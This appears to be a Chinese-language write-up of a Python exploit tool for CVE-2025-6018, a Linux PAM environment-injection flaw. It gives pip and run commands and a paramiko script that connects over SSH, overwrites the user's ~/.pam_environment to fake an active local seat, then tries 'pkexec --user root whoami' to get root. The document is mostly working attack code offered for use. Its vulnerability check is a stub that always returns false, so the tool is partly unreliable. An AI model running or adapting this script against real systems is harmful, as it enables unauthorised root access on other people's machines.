Linux PAM环境变量注入漏洞利用工具解析

pip install paramiko>=2.12.0

chmod +x cve_2025_6018_professional.py

python3 cve_2025_6018_professional.py -i 192.168.1.100 -u vulnerable_user -p user_password

import paramiko
import time
import sys
import socket
import argparse
import logging
from datetime import datetime

# 配置日志记录系统，将日志同时输出到文件和控制台，便于跟踪利用过程
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s [%(levelname)s] %(message)s',
    datefmt='%Y-%m-%d %H:%M:%S',
    handlers=[
        logging.FileHandler('cve_2025_6018_exploit.log'),
        logging.StreamHandler(sys.stdout)
    ]
)
logger = logging.getLogger(__name__)

class CVEExploit:
    def __init__(self):
        # 定义已知易受攻击的PAM版本范围
        self.vulnerable_versions = [
            "pam-1.3.0", "pam-1.3.1", "pam-1.4.0", "pam-1.5.0", 
            "pam-1.5.1", "pam-1.5.2", "pam-1.5.3", "pam-1.6.0"
        ]
        
    def check_vulnerability(self, client):
        """增强的漏洞检测函数，通过SSH客户端在远程主机执行多项检查"""
        logger.info("Starting vulnerability assessment")
        
        # 定义需要执行的检查命令字典
        checks = {
            "pam_version": "rpm -q pam || dpkg -l | grep libpam", # 检查PAM安装包版本
            "pam_env": "find /etc/pam.d/ -name '*' -exec grep -l 'pam_env' {} \\; 2>/dev/null", # 查找使用pam_env的PAM配置
            "pam_systemd": "find /etc/pam.d/ -name '*' -exec grep -l 'pam_systemd' {} \\; 2>/dev/null", # 查找使用pam_systemd的PAM配置
            "systemd_version": "systemctl --version | head -1" # 检查SystemD版本
        }

        vulnerable = False
        
        for check_name, command in checks.items():
            try:
                # 通过SSH连接执行命令
                stdin, stdout, stderr = client.exec_command(command)
                output = stdout.read().decode('utf-8').strip()
                error = stderr.read().decode('utf-8').strip()
                
                if output:
                    logger.info(f"{check_name}: {output}")
                    # 关键逻辑：检查pam_env是否在pam_systemd之前被加载
                    if check_name == "pam_env" and "sshd" in output:
                        # 这里需要进一步分析/etc/pam.d/sshd文件的具体行顺序
                        # 简化示例：假设检测到该文件即进行下一步详细检查
                        logger.warning("pam_env found in sshd config. Checking order...")
                        # 实际代码中应添加解析文件判断顺序的逻辑
                elif error:
                    logger.debug(f"{check_name} error: {error}")
                else:
                    logger.debug(f"{check_name}: No output")
                    
            except Exception as e:
                logger.error(f"Failed to execute {check_name} check: {e}")
        
        # 版本匹配逻辑（示例框架）
        # 实际应从`pam_version`检查的输出中提取版本号与`vulnerable_versions`列表对比
        logger.info("Vulnerability check completed.")
        # 返回True/False表示漏洞是否存在
        return vulnerable

    def exploit(self, client, username):
        """执行漏洞利用的主要函数，尝试注入环境变量并提升权限"""
        logger.info(f"Attempting exploit for user: {username}")
        
        # 1. 创建或修改 ~/.pam_environment 文件，注入恶意环境变量
        pam_env_content = """
        # Injected by CVE-2025-6018 exploit
        XDG_SEAT=seat0
        XDG_VTNR=1
        # 可添加其他用于欺骗会话类型的变量
        """
        pam_env_path = f"/home/{username}/.pam_environment"  # 假设用户主目录在/home下
        
        try:
            # 通过SSH将内容写入文件
            command = f"echo '{pam_env_content}' > {pam_env_path}"
            stdin, stdout, stderr = client.exec_command(command)
            # 检查命令是否成功执行
            exit_status = stdout.channel.recv_exit_status()
            if exit_status == 0:
                logger.info(f"Successfully created/overwritten {pam_env_path}")
            else:
                error = stderr.read().decode()
                logger.error(f"Failed to write pam_environment: {error}")
                return False
                
        except Exception as e:
            logger.error(f"Error during file creation: {e}")
            return False
            
        # 2. 触发PAM重新读取环境变量（例如，通过建立新的SSH会话或重新登录）
        # 注意：在实际利用中，可能需要用户注销并重新登录，或者工具需要创建新的SSH连接来触发新会话。
        logger.warning("Environment variable injected. A new login session (e.g., new SSH connection) may be required for the changes to take effect.")
        
        # 3. 尝试利用伪造的“活动用户”身份执行特权操作（示例：通过pkexec）
        # 这需要结合CVE-2025-6019或其它Polkit策略
        # 示例命令：尝试运行一个需要`allow_active`权限的Polkit动作
        test_command = "pkexec --user root whoami"  # 只是一个示例，实际命令取决于目标策略
        
        try:
            stdin, stdout, stderr = client.exec_command(test_command)
            output = stdout.read().decode().strip()
            error = stderr.read().decode().strip()
            
            if output == "root":
                logger.critical("SUCCESS: Obtained root privileges!")
                # 可以在此处提供交互式shell或执行后续payload
                return True
            else:
                logger.info("Exploit attempted, but root not obtained. Output: %s, Error: %s", output, error)
                return False
                
        except Exception as e:
            logger.error(f"Failed to execute privilege test: {e}")
            return False